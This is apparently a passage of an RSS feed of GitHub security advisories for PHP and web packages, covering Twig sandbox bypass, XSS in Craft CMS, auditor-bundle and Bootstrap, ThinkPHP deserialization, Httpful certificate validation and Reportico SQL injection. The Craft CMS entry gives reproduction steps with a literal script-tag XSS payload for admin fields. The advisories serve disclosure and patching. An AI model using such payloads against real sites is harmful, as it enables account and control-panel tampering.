        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[damienharper/auditor-bundle] auditor-bundle vulnerable to Cross-site Scripting because name of entity does not get escaped</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unescaped entity property enables Javascript injection.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;I think this is possible because %source_label% in twig macro is not escaped. Therefore script tags can be inserted and are executed.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;clone example project &lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle-demo&quot;&gt;https://github.com/DamienHarper/auditor-bundle-demo&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;create author with FullName &lt;/li&gt;
        &lt;li&gt;delete author&lt;/li&gt;
        &lt;li&gt;view audit of authors&lt;/li&gt;
        &lt;li&gt;alert is displayed&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;persistent XSS. JS can be injected and executed.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle/security/advisories/GHSA-78vg-7v27-hj67&quot;&gt;https://github.com/DamienHarper/auditor-bundle/security/advisories/GHSA-78vg-7v27-hj67&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle/commit/42ba2940d8b99467de0c806ea5655cc1c6882cd1&quot;&gt;https://github.com/DamienHarper/auditor-bundle/commit/42ba2940d8b99467de0c806ea5655cc1c6882cd1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45592&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45592&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-78vg-7v27-hj67&quot;&gt;https://github.com/advisories/GHSA-78vg-7v27-hj67&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-78vg-7v27-hj67</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-78vg-7v27-hj67</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[topthink/framework] ThinkPHP deserialization vulnerability</title>
      <description>&lt;p&gt;A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-44902&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-44902&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/fru1ts/CVE-2024-44902&quot;&gt;https://github.com/fru1ts/CVE-2024-44902&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;http://thinkphp.com/&quot;&gt;http://thinkphp.com&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-f4wh-359g-4pq7&quot;&gt;https://github.com/advisories/GHSA-f4wh-359g-4pq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-f4wh-359g-4pq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-f4wh-359g-4pq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[craftcms/cms] Craft CMS vulnerable to stored XSS in breadcrumb list and title fields</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Multiple Stored XSS can be triggered by the breadcrumb list and title fields with user input.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/categories&lt;/strong&gt; page, category title isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the category edit page under the &lt;strong&gt;/admin/categories/&lt;/strong&gt;, category title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/entries&lt;/strong&gt; page, entry title isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the entry edit page under the &lt;strong&gt;/admin/entries/&lt;/strong&gt;, entry title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/myaccount&lt;/strong&gt; and pages under it, username or full name in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Malicious users can tamper with the control panel.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;h4 id=&quot;1-in-the-admincategories-page-category-title-isnt-sanitized-and-triggered-xss&quot;&gt;1. In the &lt;strong&gt;/admin/categories&lt;/strong&gt; page, category title isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Categories ( /admin/settings/categories )
        2. Create new category group
        3. Access to the Categories page ( /admin/categories/ )
        4. Push the New category button
        5. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        6. Push the Create Category or Save button
        7. Access to the Categories page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a1b2890e-731b-4fc4-b189-26591f4486fd&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/4e0f35c7-fbb0-4d38-a0b5-9e28750ff706&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/e046b9db-d83c-4f81-ad91-165c5afedeb9&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;2-in-the-category-edit-page-under-the-admincategories-category-title-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;2. In the category edit page under the &lt;strong&gt;/admin/categories/&lt;/strong&gt;, category title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Categories ( /admin/settings/categories )
        2. Create new category group
        3. Access to the Categories page ( /admin/categories/ )
        4. Push the New category button
        5. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        6. Push the Create Category or Save button
        7. Access to the Category edit page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a1b2890e-731b-4fc4-b189-26591f4486fd&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/f7543a11-58eb-4099-9ee2-3461816c52ea&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/f01bbb80-4417-42ca-bf51-b38860f6c74a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;3-in-the-adminentries-page-entry-title-isnt-sanitized-and-triggered-xss&quot;&gt;3. In the &lt;strong&gt;/admin/entries&lt;/strong&gt; page, entry title isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Entry Types ( /admin/settings/entry-types )
        2. Create new entry type
        3. Access to the Settings -&amp;gt; Sections ( /admin/settings/sections )
        4. Create new section
        5. Access to the Entries page ( /admin/entries )
        6. Push the New entry button
        7. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        8. Push the Create entry or Save button
        9. Access to the Entries page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/ba700899-947f-4421-a1b7-3f0cc2c0da30&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/b255a999-e48c-46be-b732-4482ea9cee9a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/445d8e0c-71b6-49c7-8f4a-37541dcc9c85&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;4-in-the-entry-edit-page-under-the-adminentries-entry-title-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;4. In the entry edit page under the &lt;strong&gt;/admin/entries/&lt;/strong&gt;, entry title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Entry Types ( /admin/settings/entry-types )
        2. Create new entry type
        3. Access to the Settings -&amp;gt; Sections ( /admin/settings/sections )
        4. Create new section
        5. Access to the Entries page ( /admin/entries )
        6. Push the New entry button
        7. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        8. Push the Create entry or Save button
        9. Access to the Entriy edit page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/ba700899-947f-4421-a1b7-3f0cc2c0da30&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a59a122b-b9e7-4695-be13-eb8a1c2d36df&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/b0d27446-7ac6-47e7-ac02-20c924698b13&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;5-in-the-adminmyaccount-and-pages-under-it-username-or-full-name-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;5. In the &lt;strong&gt;/admin/myaccount&lt;/strong&gt; and pages under it, username or full name in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the My Account Page ( /admin/myaccount )
        2. Input the Full Name column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        3. Push the the Save button
        4. Access to the My Account page ( /admin/myaccount ) or pages under it ( /admin/myaccount/addresses , /admin/myaccount/preferences , etc.) and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/3be45bdd-0757-42a8-bc5d-320ab2339fd0&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/e1be7446-1c54-42bc-af9a-a8ac81a2d7bf&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/5fa06b26-fecd-40f5-bc8b-171f881f8a2a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/craftcms/cms/security/advisories/GHSA-28h4-788g-rh42&quot;&gt;https://github.com/craftcms/cms/security/advisories/GHSA-28h4-788g-rh42&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/craftcms/cms/commit/b7348942f8131b3868ec6f46d615baae50151bb8&quot;&gt;https://github.com/craftcms/cms/commit/b7348942f8131b3868ec6f46d615baae50151bb8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45406&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45406&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-28h4-788g-rh42&quot;&gt;https://github.com/advisories/GHSA-28h4-788g-rh42&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-28h4-788g-rh42</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-28h4-788g-rh42</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[nategood/httpful] Httpful is Missing Certificate Validation</title>
      <description>&lt;p&gt;Httpful has Insecure HTTPS Connections due to Missing Default Certificate Validation&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/issues/247&quot;&gt;https://github.com/nategood/httpful/issues/247&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/commit/44c880e4f559e9215dc6ea9fe50315500c6c2c84&quot;&gt;https://github.com/nategood/httpful/commit/44c880e4f559e9215dc6ea9fe50315500c6c2c84&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfPHP/security-advisories/blob/master/nategood/httpful/2024-05-01.yaml&quot;&gt;https://github.com/FriendsOfPHP/security-advisories/blob/master/nategood/httpful/2024-05-01.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/blob/fc8e4274a09529a6ff29b9c6c0a105ee43dbfda5/src/Httpful/Request.php#L35&quot;&gt;https://github.com/nategood/httpful/blob/fc8e4274a09529a6ff29b9c6c0a105ee43dbfda5/src/Httpful/Request.php#L35&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://huntr.com/bounties/8d59c089-92f1-4b73-90f8-54968a70e2fb&quot;&gt;https://huntr.com/bounties/8d59c089-92f1-4b73-90f8-54968a70e2fb&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-gcfg-hmwx-wq5h&quot;&gt;https://github.com/advisories/GHSA-gcfg-hmwx-wq5h&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-gcfg-hmwx-wq5h</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-gcfg-hmwx-wq5h</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twbs/bootstrap] Bootstrap Cross-Site Scripting (XSS) vulnerability</title>
      <description>&lt;p&gt;A vulnerability has been identified in Bootstrap that exposes users to Cross-Site Scripting (XSS) attacks. The issue is present in the carousel component, where the data-slide and data-slide-to attributes can be exploited through the href attribute of an &lt;a&gt; tag due to inadequate sanitization. This vulnerability could potentially enable attackers to execute arbitrary JavaScript within the victim&#39;s browser.&lt;/a&gt;&lt;/p&gt;&lt;a&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;/a&gt;&lt;ul&gt;&lt;a&gt;
        &lt;/a&gt;&lt;li&gt;&lt;a&gt;&lt;/a&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-6531&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-6531&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.herodevs.com/vulnerability-directory/cve-2024-6531&quot;&gt;https://www.herodevs.com/vulnerability-directory/cve-2024-6531&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2024-6531.yml&quot;&gt;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2024-6531.yml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-vc8w-jr9v-vj7f&quot;&gt;https://github.com/advisories/GHSA-vc8w-jr9v-vj7f&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-vc8w-jr9v-vj7f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-vc8w-jr9v-vj7f</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[reportico-web/reportico] SQL Injection vulnerability in Reportico Till</title>
      <description>&lt;p&gt;SQL Injection vulnerability in Reportico Till 8.1.0 allows attackers to obtain sensitive information or other system information via the project parameter.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
